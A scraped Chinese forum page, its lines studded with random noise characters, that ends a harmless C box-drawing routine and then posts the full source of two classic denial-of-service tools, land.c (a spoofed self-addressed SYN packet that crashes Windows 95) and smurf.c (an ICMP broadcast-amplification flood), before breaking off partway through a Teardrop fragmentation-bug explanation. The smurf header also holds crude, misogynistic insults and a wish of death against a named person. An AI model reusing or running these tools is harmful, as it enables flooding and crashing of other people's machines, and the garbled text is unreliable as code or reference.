" O& q4 L- t: ~: Y, Gbox(8,8,9,65);
. ]* j7 B% {; }" V7 k% Nbox(9,9,7,63);3 E0 x) b+ ^8 ^
box(10,10,5,61);
' H0 \5 }% B( S8 Fbox(11,11,3,59);% r2 K# i# Z2 ~- y7 C
box(12,12,1,57);
9 F1 d4 f2 J) H5 t& C; Kposcur(24,1);, h# f' i+ G4 k& l- N0 t8 C
}</FONT></P><><FONT color=#009900>/************************************************************
: g# |" Q, P. K% m; x6 }( ^1 |* BOX *, M+ t; b; X6 J+ u) d1 s$ b
*----------------------------------------------------------*0 q5 M! \$ N2 F( P; w  H
* Written by: Jeff Ebert 7/01/87 *& r: I# ]  K1 G
* Modified by: xxxxxxxxxx *
" ?$ `. h6 |* J3 g, ]; x* *  _, U; B# C; D- `0 V
* Please modify me! *
6 j/ p% e1 @2 H3 _6 |* Possible Enhancements include but are not limited t *& `$ }4 \. |5 q
* 1) Variable box character styles [1 line or 2] *
! i- m, i. k3 X6 f! o* 2) Error checking *
4 I! Q9 v. S5 z/ o5 U* 3) Color options *, f. a4 Q: O+ x/ W( h* P' t. C
* *7 d5 H! e4 j- U9 x% a' J
* *
( Q1 N. ]  ?+ G6 b* This function builds a simple double frame for a menu. *
; E. A3 y/ Z- q5 m* The function is passed the parameters for the upper *8 B. }+ E# J- G# d- p* ~; L
* left corner row, upper left corner column the height *
' j% q$ k- J5 m* of the frame and the width. *
$ _: |0 ]6 P( Y1 x3 i" k* *
( a0 T- u$ M: C8 u************************************************************/
8 m2 H  O- i: {6 Z% v#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
7 ~/ c# m7 v0 @; c$ n5 l#define URCOR 187
6 O- c% k( {8 ]#define LLCOR 200
! g  t. F: z" Z6 l#define LRCOR 1887 |5 i* k- ~' I" Z1 R7 _2 P: ?
#define VBAR 186) p& S& n( q3 ]( U' ?4 D: f& C
#define HBAR 205
; j, |. e$ r$ L$ s' z#define ESC 27</FONT></P><><FONT color=#009900>
) X( P  M( S: ~box(row, col, hgt, wdth)
$ f2 u& n, @) @0 G% J8 ^. o, Rint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{8 V; I2 O8 i  U$ ?+ @, \
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);2 r% f! ~0 X( z
putchar(ULCOR);
$ @7 M6 G" A, T0 @' nfor(x = col + 1; x &lt;=(col + wdth -1); x++)
0 l. v! `* k; M1 U6 Hputchar(HBAR);3 d! O- B$ N9 ^) t0 D7 Y; w' e3 t( A6 H
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){. H: ]2 h7 G6 Q
poscur(x,col);
+ k& S7 K- _4 F* [( p5 Sputchar(VBAR);
2 O0 }& l( s4 F6 Uposcur(x,col+wdth);# L' w( F* H9 V0 B
putchar(VBAR);$ u, C: E& }- B2 v( G9 c
}2 {: O0 r# r2 u( U1 V3 C
poscur(x,col);
, j* A* ^2 K6 z$ N8 R; O8 Tputchar(LLCOR);
0 U  T, ?9 k7 J, B& G9 H& c, k8 L0 Kfor(x= col + 1; x &lt;=(col + wdth -1); x++). t  X6 f, {9 J
putchar(HBAR);
3 D1 b0 O' P9 b& @putchar(LRCOR);9 Q5 Q4 J3 H/ _6 h6 Z0 L
}</FONT></P><><FONT color=#009900>/********************************************************# O/ w* i  q% \9 ?7 E
* POSCUR *
0 D6 J8 Y- R; V4 ], {*------------------------------------------------------*( q: W: M( ?1 d$ n. f& b3 a( q& Y
* This function positions the cursor at the specified *2 i# E) P) j' A) v4 L/ w
* x,y coordinate. It uses the ANSI standard ESCAPE *- N9 }4 P# U5 W, d
* sequence to produce the desired effect. Its not the *8 V; I7 y4 }$ n4 `
* fastest way to position the cursor, but perhaps the *
+ ?% O: O$ ]! E" R% t* most portable. *3 t* d, D; h& O. J7 F0 B. H
* *
( `3 j& {1 b, N, T7 S5 P0 i6 o********************************************************/
7 w9 \% ]0 }0 \; h) C/ Hposcur(xcor,ycor)
- U6 Q( A# q4 Q5 V1 I5 y( q/ ?int xcor,ycor;
$ X( w+ E  }" R& T/ f3 y{
  D# {+ c9 u1 ]% e9 J# ]9 Lprintf("%c[%d;%dH",ESC,xcor,ycor);5 ?0 {+ `' l1 C- k8 D  X
}</FONT></P><><FONT color=#009900>
! p+ q8 \' w5 u. R$ R5 t/********************************************************
+ D+ a$ `! ~' d# Q) f; ]* d* CLRSCR *
/ e. `9 g. ~$ Z2 Y- {8 F*------------------------------------------------------*
( [! H( y3 D4 I) e1 z* This function positions the cursor at the specified *
, _6 P/ X+ n* C5 E7 @* x,y coordinate. It uses the ANSI standard ESCAPE *$ ?6 K7 y8 v+ ~& w0 R" U& v
* sequence to produce the desired effect. Its not the *
) v4 i  {, o0 j8 x9 r* fastest way to position the cursor, but perhaps the *  ^# w, X- v" R, A, d) }
* most portable. *1 K; i' v, _$ y
* *4 {) |1 y4 c* ?9 b* p: b5 _
********************************************************/
" L) \( W9 m0 uclrscr()# P6 ~/ y& H3 v7 q# s# U+ g8 @# q
{
/ s8 e8 }; n& W# f) }3 ^& Yprintf("%c[2J",ESC);$ I) i: J) q6 d; }0 r
}</FONT>: E% |7 S4 A) f$ w" r. m# `
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract; K! r' P6 T+ Y; K6 w
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自9 k# z6 s# c- J0 }4 U
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
7 b1 L6 h! z) x1 T! k' h<FONT color=#009900>/* land.c by m3lt, FLC: w& ^" k5 G4 a' s7 L, Q
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>$ |5 b/ P4 n: Q; n8 z* B: I
#include <NETDB.H>1 ]+ H) ~7 y  }: X4 G/ [
#include <ARPA inet.h>+ J7 x2 r: A, `% H1 V/ ~2 Z
#include <NETINET in.h>8 `6 o( y; L) x% q- |  H2 y. U; i
#include <SYS types.h>( c3 ~5 J- P7 J/ V, }( }
#include <SYS socket.h>8 w6 f! p. y- a$ X; N) n2 P
#include <NETINET ip.h>
' H9 b6 a3 @; a8 G: C2 W% G#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头+ ]6 {5 [! @. [" F
struct pseudohdr
5 i/ u7 v( h5 T  T: E{$ `, V6 ]" A( p. P( ?" E
struct in_addr saddr;, z( K  ?0 J- h1 [' X  O% ?" r
struct in_addr daddr;* d1 G5 s  W/ d- ~4 q
u_char zero;
4 h1 M$ D8 C& x, w: G* O( b  gu_char protocol;$ y9 J$ B- S7 s7 d( |$ l
u_short length;
' c' M% s" t2 {9 ?struct tcphdr tcpheader;1 |  y& J& E. C' B0 D5 m; |
};</FONT></P><><FONT color=#009900>//计算IP校验和; u2 v, q" K9 y! s8 o' L
u_short checksum(u_short * data,u_short length)" e7 C/ L" d, o. i
{! @" X, @0 F' l
register long value;
4 `: O8 x; ~! N" ]/ Ku_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
( ?3 v2 \% n4 X# Xvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
% K" E' x$ }, S% ivalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
* P! a  W. q+ Y}</FONT></P><><FONT color=#009900>
; i: f- B. _5 `int main(int argc,char * * argv)8 x- Z6 w! g9 M1 j2 N4 a
{7 Y5 s# w. ~* ~
struct sockaddr_in sin;/ K. U" r+ [# ~7 c8 S' x
struct hostent * hoste;3 s3 n* o+ d- M4 U1 R2 c
int sock;
- j* j+ g9 y$ T4 d* p" |0 hchar buffer[40];: q8 V: q+ \5 h/ [0 E" h" K3 `
struct iphdr * ipheader=(struct iphdr *) buffer;
0 j6 J# b0 T, c! F( Nstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));) t7 w$ |4 s! J3 K9 A% m0 q8 v
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)+ J& H6 i  W/ g# A( |
{
& ~8 w% f+ E  d& t8 h, ?# nfprintf(stderr,"usage: %s IP port\n",argv[0]);5 s* m0 v6 c: A- [
return(-1);0 t5 c9 G8 z; h# ~/ W+ W  C& a
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));8 `4 v$ X/ w% I' W1 Y" }/ Q/ d
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)9 [* Y  J! r2 c" Q1 x
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
* E* p( y* f* ?else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)' C4 d3 p8 H2 o& Q( Y
{
* J' U" ^) d6 \fprintf(stderr,"unknown host %s\n",argv[1]);
2 I+ w  `" S9 {$ P" }3 F6 ?  u" lreturn(-1);
7 g- k) d$ t+ @}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
$ f+ E* M. g4 t% G* }4 E3 @{- O' l: J; j7 |* [  n
fprintf(stderr,"unknown port %s\n",argv[2]);
9 D) f" R+ b1 o5 A6 w- x9 d  D$ |7 kreturn(-1);) y$ I$ o6 r) `
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
8 F; ?* c( Z3 @if((sock=socket(AF_INET,SOCK_RAW,255))==-1). w5 K6 O0 P1 [' {) ^
{5 h1 I( O6 _. e1 ]
fprintf(stderr,"couldn't allocate raw socket\n");
- A% F$ K, F7 C3 @+ c! [5 nreturn(-1);  s0 w9 Z# u% w- c9 L# @% ?
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
" `# W* d1 r- L: u  `* N) @# X6 ]ipheader-&gt;version=4;" h. I( v& c; b% H7 @5 |% V
ipheader-&gt;ihl=sizeof(struct iphdr)/4;9 \4 [8 R- ^4 q7 H7 i
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));. m) G& f* o) u' Y$ U
ipheader-&gt;id=htons(0xF1C);4 {: z0 I9 c& [$ Y3 u* f3 K1 m
ipheader-&gt;ttl=255;- c2 o+ a/ @9 e! \# F3 j
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
5 _+ v* d& @( Y* Q# H* S" _ipheader-&gt;saddr=sin.sin_addr.s_addr;1 z! U$ X! r6 u- ]2 U; d1 {3 S
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
8 R) g" y, V6 f$ H* L/ d+ ~tcpheader-&gt;th_sport=sin.sin_port;" a9 K$ m+ c4 v/ I4 N
tcpheader-&gt;th_dport=sin.sin_port;
& b- K# C! D, _! b& Ltcpheader-&gt;th_seq=htonl(0xF1C);) f* |( _, x; H. r* R; L6 f) O5 f
tcpheader-&gt;th_flags=TH_SYN;
* D; ?9 j! k2 A$ ]6 otcpheader-&gt;th_off=sizeof(struct tcphdr)/4;" T. R/ s( V* f7 y4 W( [
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));$ y, B1 H/ A- G
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;. d+ [! t7 b# Z3 H: s$ x$ r
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;. a3 S4 T! l. U2 j8 V" Q
pseudoheader.protocol=6;
% A& j  A! B" O* H+ X* G7 Opseudoheader.length=htons(sizeof(struct tcphdr));
# N, ~) w0 t* V' M1 k  ?5 Ybcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
! L; F" K: e" u2 p/ atcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
, }0 D6 x- N: o! W5 h' ?7 K! ]0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)3 a. \2 h. H0 P! H9 ^2 P
{; p7 r# D- a  ]" n
fprintf(stderr,"couldn't send packet\n");
  f4 t6 y1 z" {+ ^return(-1);
  H6 `" Q/ T1 H1 {) N5 H}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);7 W! u2 ^3 d. I  `
return(0);
# V6 x/ |: F2 R8 [) c4 L}</FONT></P><>+ b, X- V) |+ M& e. F
2 Smurf
( m' r$ f7 `* ~/ K. Osmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数& l, k8 t/ ?0 U$ r. x/ y
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
: G( x, v  `: `  D: m* Q的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
3 \( O# _4 [3 Z) o; ?( T1 hicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
! o7 C+ M* E: c(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变% g" m8 j* x0 }: b$ w% h
成不可能(没有WINS服务器时)。</P><P>/*7 g2 ^9 t( E( K0 _  {- |
*
* F" T: R; ]/ g. m* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $# G$ {- x. F! o2 R& |: T% k
*
1 R. O0 L) G+ j. [* spoofs icmp packets from a host to various broadcast addresses resulting( [9 h, A& |+ G$ Q
* in multiple replies to that host from a single packet.( a( s! S, V+ x% A  w/ z0 ~% i& @
*
% j" M6 ?. D8 Y8 k( m. O* mad head t( g  k0 c. l& e3 F! x, F2 z1 k5 b
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
/ S$ v3 g9 y- v1 F* MissSatan for swallowing, napster for pimping my sister, the guy that
% c( [: ?! t* L+ g' J" S* invented vaseline, fyber for trying, knowy, old school #havok, kain+ W' a2 T5 T! X) G
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might8 K9 Q. O8 j$ U5 p
* have missed (you know who you are).
8 I* n- T8 z+ p4 n: L*$ p' `4 y' Y% ^% S; A8 y
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy( n$ }! v: Z  v0 M2 g
* thing he is (he's -almost- as stubborn as me, still i managed to pick up6 y" C% E8 `, J  q2 J% e4 v) e
* half the cheque).4 R+ b- P, ~& w: p
*2 R0 r( u1 P/ Z- g4 c" ?3 F0 T* ^
* and a special hi to Todd, face it dude, you're fucking awesome.
9 L9 c  e- O, P  q' ?* L- ?0 s*5 u- c9 D: s) x4 e" _$ W# G
* mad anal t: ^6 S& f5 |1 Z. h" J
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps2 Y% m% h* @/ ~0 v$ g
* because they plain suck, Rolex for being a twit, everyone that% F  Y) F/ c$ d$ s, b/ `  Z
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
# G) D* d; q% W* Y0 ]7 F* partner, #cha0s, sedriss for having an ego in inverse proportion to
! e9 X' q8 K1 g2 X* his penis and anyone that can't pee standing up -- you don't know what
3 [% `) C/ W5 {; p2 @2 P* your missing out on.8 g, b, w- V/ y" V7 E
*
! v& _$ B8 G; e6 W* X* and anyone thats ripped my code (diff smurf.c axcast.c is rather9 ]3 J9 e0 v  C. Y- _
* interesting).
+ f! m( k3 q. a; z( ^% G3 U*
3 x: @0 G9 x2 ]4 Z5 a7 O# S- ^* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
# G2 o' q4 L  ?* ?$ K* Robbins for trying to steal my girlfriend. Not only did you show me
8 r. k$ O& x; E0 [% j' U* no respect but you're a manipulating prick who tried to take away the
% m, V- r8 K; P* U# r$ X+ [1 q* most important thing in the world to me with no guilt whatsoever, and9 |/ S8 F8 p+ v& G, N8 ~. r9 E
* for that I wish you nothing but pain. Die.
, ?2 I6 T7 B  ^. n2 ?4 c( X*
6 u" u  L, t9 ~2 C6 Z* disclaimer:  t* F/ {' w8 z0 w3 m; t% f
* I cannot and will not be held responsible nor legally bound for the. t! G( @; Y+ `
* malicious activities of individuals who come into possession of this
' w/ M) k, ?" v+ [/ d5 K* x9 T* program and I refuse to provide help or support of any kind and do NOT# ^7 r  h+ e% a+ @9 Q* W0 s
* condone use of this program to deny service to anyone or any machine.
& _# n& D9 i5 O0 \8 M* F$ j8 ~9 a$ F  c* This is for educational use only. Please Don't abuse this.
! e1 B* @6 j0 ?4 \, q) w; g*
! U' ?$ U1 F0 ?3 U+ X2 Y* Well, i really, really, hate this code, but yet here I am creating another
9 b% O5 B( B. s! J* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
& j0 n) \- e8 b8 T; Z8 u) ?* like most programmers don't like seeing bugs in their code. I saw a few
4 M" L1 {* i  j+ ^& H* things that should have been done better or needed fixing so I fixed
2 c% h- ~$ y+ H( u' v6 N" O7 k6 _( s/ F0 J* them. -shrug-, programming for me as always seemed to take the pain away5 q$ r# i; w, _
* ...% `1 c  A7 o% C5 V/ G
*
0 X3 Z1 R* c' Q0 ]5 z0 T$ f* O*
; r; `( v4 Q) ^& F: l# n" p+ [*/</P><P>#include <SIGNAL.H>" g7 ?" N1 b# w' X( J7 S  t
#include <STDIO.H>
' p; U  J$ D- C% e' {#include <STDLIB.H>
. h3 B: x/ F8 ?#include <SYS socket.h>* ?2 {9 ~1 ?  h& |6 r: @2 q
#include <SYS types.h>
/ q) x/ M8 ~+ m5 S1 ~0 p#include <NETINET in.h>
$ ]2 m2 U6 r* j! |#include <NETINET ip.h>
8 g* u+ \  A; ^#include <NETINET ip_icmp.h>0 q3 J' h: ^7 s$ M- j: ^: n' `9 ^
#include <NETDB.H>5 t) ^- V, n0 y. l
#include <CTYPE.H>
. H; n6 Z: \( L  b#include <ARPA inet.h>3 J$ J0 W8 z7 B' \$ d: Q: I
#include <UNISTD.H>8 r3 j  E0 Q7 q; t; d5 V2 [
#include <STRING.H></P><P>void banner(void);
7 T/ ~+ Z/ l6 ^6 Uvoid usage(char *);0 o7 g# p$ ~+ _1 B- u7 b
void smurf(int, struct sockaddr_in, u_long, int);" J" G  h+ e5 H3 l
void ctrlc(int);; v+ ^  N8 f; h2 [8 f0 k. ?( a! E
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
+ r3 I2 u' Y4 {char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
8 D- B% g6 r+ e) |{8 q- Q4 j: E" Z0 j1 ?5 |- q
struct sockaddr_in sin;
4 g4 s1 y  y2 C" Mstruct hostent *he;( _; H6 }) E+ Y( T" j; x( k0 X# Y
FILE *bcastfile;
$ G( ?2 ~/ P) Q1 z+ Iint i, sock, bcast, delay, num, pktsize, cycle = 0, x;7 k; \* _; I( \! r
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();6 @' G" h! P, n2 u1 O/ t
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
3 D: A3 m" i5 Q+ }$ y  Uperror("resolving source host");6 k9 T3 W8 e8 Y  ~6 v* A
exit(-1);
0 ]! q2 [3 O% W8 K9 {/ D1 A/ l}" ]' t1 b) R+ h1 }
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
3 _' d) }8 H( X4 D+ a2 G( hsin.sin_family = AF_INET;
1 D& E4 O7 C* i- H7 A4 r: Z; ^2 bsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
% L% m  R3 K7 r8 o3 C' Fdelay = atoi(argv[4]);. ~' P  u* T! [* i0 J* [. ^
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {& X9 x$ r; B$ u: n; [
perror("opening bcast file");
& ^; a% E. e! P; n3 z; aexit(-1);8 `+ [' f. h; J# Y" h
}% h5 c1 K* R; s+ l: ?! _0 f
x = 0;1 h2 x$ {2 c6 _3 F+ n) Z
while (!feof(bcastfile)) {' d& K2 V+ m# `& @. [& j
fgets(buf, 32, bcastfile);  q! J8 R3 l0 o. L
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;; ~, T$ ]/ k. U  ]1 x$ I
for (i = 0; i &lt; strlen(buf); i++)
: A: U6 X8 j' t8 E& Vif (buf == '\n') buf = '\0';
1 p7 J! ?7 y6 P! G0 abcastaddr[x] = malloc(32);
9 M9 g" t" i8 |2 nstrcpy(bcastaddr[x], buf);
& `- f7 h5 M5 f1 [+ {6 Z' ~+ Rx++;
9 G$ v, Z! @& }2 f- l* b  V# ]}
" H9 A  a" G2 g  w1 X6 S" |+ L4 R& Dbcastaddr[x] = 0x0;
% A1 Y. r, }8 I- Q7 M6 v) Ifclose(bcastfile);</P><P>if (x == 0) {
4 @6 X9 q1 G2 p9 h" Afprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
* Y2 P0 s# S; t% S7 l' r; Sexit(-1);- E7 N6 I8 q% ~, ~' O! U
}% Y2 ~/ O+ o; b+ }
if (pktsize &gt; 1024) {  f( Q5 l. a7 w5 \* z
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
) d/ Y9 s6 d" L( H$ H- e% x& Eexit(-1);  s- d6 T7 k8 t/ z
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {" l( c9 h  P/ R$ y: l4 W+ M$ c
perror("getting socket");% l' C1 Q! p  S% f) T% x+ G
exit(-1);
: z. |8 b+ O; k7 Y- Q}
: v; B6 N3 S3 ~4 X4 W/ ~( bsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
/ \" o& Q; W! v( f5 O8 U6 {if (!(i % 25)) { printf("."); fflush(stdout); }
3 W) F7 V4 ~* ?9 H0 nsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);* \* E# {5 l2 Z2 V
cycle++;" M- S+ T# b' R( b0 p0 F+ `8 l2 j
if (bcastaddr[cycle] == 0x0) cycle = 0;: o2 @) \" n) f- b3 M" Y: X7 z
usleep(delay);
% K( @; V2 d) ]}# D% k' U" C# v1 g
puts("\n\n");1 B" h( \( {$ |' j# {
return 0;
- Z* j6 c' [7 x" a9 O" J$ _}</P><P>void banner (void)
5 O+ T% J# i4 C* q- t$ Q8 J{
" ~. z# E$ m  A& \puts("\nsmurf.c v4.0 by TFreak\n");, N. c1 W# V" A+ ]# r, E7 h: ^
}</P><P>void usage (char *prog)) @5 Z3 C. ?% v8 ]
{% y( R) d: S! W$ u- B1 W  L
fprintf(stderr, "usage: %s <TARGET><BCAST file>"% L1 o  _. R) @( u
"<NUM packets> <PACKET delay><PACKET size>\n\n"# R  `+ S. P# f0 G5 f
"target = address to hit\n"" ?4 B/ y4 E$ e7 F
"bcast file = file to read broadcast addresses from\n"3 ~+ O4 u' y  H- L' t0 R, _% @
"num packets = number of packets to send (0 = flood)\n"
2 Z4 n- K7 n1 t$ [) s"packet delay = wait between each packet (in ms)\n": {( }  e2 I2 A7 B5 _# Z
"packet size = size of packet (&lt; 1024)\n\n", prog);  K2 F9 Z* P3 e! ^
exit(-1);$ Y3 c% r( W! f( Q5 c8 w
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
- \( D  p1 d: k9 T{
/ [  e+ _$ ?) `9 Q! istruct iphdr *ip;  u; {: z$ T& X* {. u$ q
struct icmphdr *icmp;
, n) u, F4 V% ^& b1 J3 j7 a  Schar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);- d9 V$ y& j& C8 ?7 S! o7 S
ip = (struct iphdr *)packet;3 ?! ^9 B1 ?; B) Q; k. z
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
! u0 U  ?, e# [1 R) x( V+ pip-&gt;ihl = 5;
4 T/ K7 S9 e5 l- v' N9 @ip-&gt;version = 4;
$ u: f, M+ C2 h9 b5 {ip-&gt;ttl = 255;+ @1 n5 a& W( |; n3 F
ip-&gt;tos = 0;: b6 V5 J9 L6 A$ D7 _
ip-&gt;frag_off = 0;
9 ?3 x" r( C% J8 Y# H5 Lip-&gt;protocol = IPPROTO_ICMP;
( z3 L# O1 \- L. Aip-&gt;saddr = sin.sin_addr.s_addr;
, O9 \& h1 x0 e3 @, E1 x9 v$ Hip-&gt;daddr = dest;
/ G4 I2 [! E; m3 Y. j! y1 wip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));: _) o; ?$ G! ?) R. Y; a
icmp-&gt;type = 8;
! f: i: D3 [/ `# v/ A7 v: f, u' V! e* \icmp-&gt;code = 0;
3 }: W9 h9 z7 o2 ^icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,9 D1 G! d# _) V& |: E
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */5 `: H1 y( m7 g
}</P><P>void ctrlc (int ignored)1 P% S- L3 M" @5 G" F2 I6 d. K/ F
{' O" D. @' V" _2 Z& P" }/ S
puts("\nDone!\n");
/ G0 `  _9 `+ |. R5 b# @exit(1);( o4 m! U9 q( Y5 t. N- A
}</P><P>unsigned short in_chksum (u_short *addr, int len)( y2 t  J% I3 V, S1 W1 X5 U
{
8 ?8 V2 n7 y+ B# L6 ?register int nleft = len;
5 k3 a& [- p& u8 ~% G& Qregister int sum = 0;
  V" d- Y; L2 }: E8 g7 Au_short answer = 0;</P><P>while (nleft &gt; 1) {
1 f& l  k% e% b/ c6 Y0 _! S' @  Csum += *addr++;, @, x; L8 ^9 S5 F+ y. J* p
nleft -= 2;
5 ?1 q( y- r, g8 E* U& a}</P><P>if (nleft == 1) {
- e; g1 }7 a) V/ I7 N5 @( I, c*(u_char *)(&amp;answer) = *(u_char *)addr;
4 ?2 e: M3 B; T' @sum += answer;
6 l  [" H. G) w+ ^& k% L% j+ [) t}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);; f9 Q5 e9 Z) J+ Q9 U/ W
sum += (sum &gt;&gt; 16);
% L: u9 u  g) ^- p' J6 U" X3 tanswer = ~sum;  v1 m6 P( b/ J/ V
return(answer);
# c8 J8 V' t* M, l7 f9 K5 z9 Z}</P><P>
4 k0 R! S3 t3 f3 O5 i% u3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
0 ~1 ^# h/ |2 ~8 p2 N: D! Q% R' i  N0 sfp = qp-&gt;fragments;
1 G9 {/ l3 Y- `5 b7 |while(fp != NULL)4 d2 f( U' ~7 W0 x+ Q
{
" Y( z4 H5 R5 F! j: j: zif(count+fp-&gt;len &gt; skb-&gt;len)+ b, x  M1 l4 w
{
% N4 \6 i) j% }8 d0 oerror_to_big;
* s! W5 y* S( K4 }}
& _# o6 e3 X; L! Z3 J  b" Amemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
  F! y. t$ c1 d2 u6 ucount += fp-&gt;len;
. w8 i' }/ ~9 J& @fp = fp-&gt;next;) L5 ^. Y4 K* ?" j
}$ w# w  }3 q8 T( \- W: C
这里只检查了长度过大的情况,而没有考虑长度过小的情况,3 e, n% B3 d; N3 D# P/ k) {( Z
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:/ n# G* j. ]6 p' O  @
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
) Z- s6 z& x9 V: }2 s: ~5 @是这样处理的:
% D9 j3 u8 s: E% ^. Dif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)9 ?( P. C/ `/ r4 R6 d* O
{" ~" w" m  m; o
i = prev-&gt;end - offset;
* T; m2 r9 ?+ |4 [offset += i; /* ptr into datagram */$ d: ~/ ~9 O# ~8 S
ptr += i; /* ptr into fragment data */
4 H0 l/ b" O7 R/ Z}</P><P>/* Fill in the structure. */
% Z, r; H; ?% D- `- X9 ^1 X6 sfp-&gt;offset = offset;& R& G/ I, L8 T6 e  |6 ?6 ?
fp-&gt;end = end;
" p( C% I6 R7 r9 f; n- a  ufp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
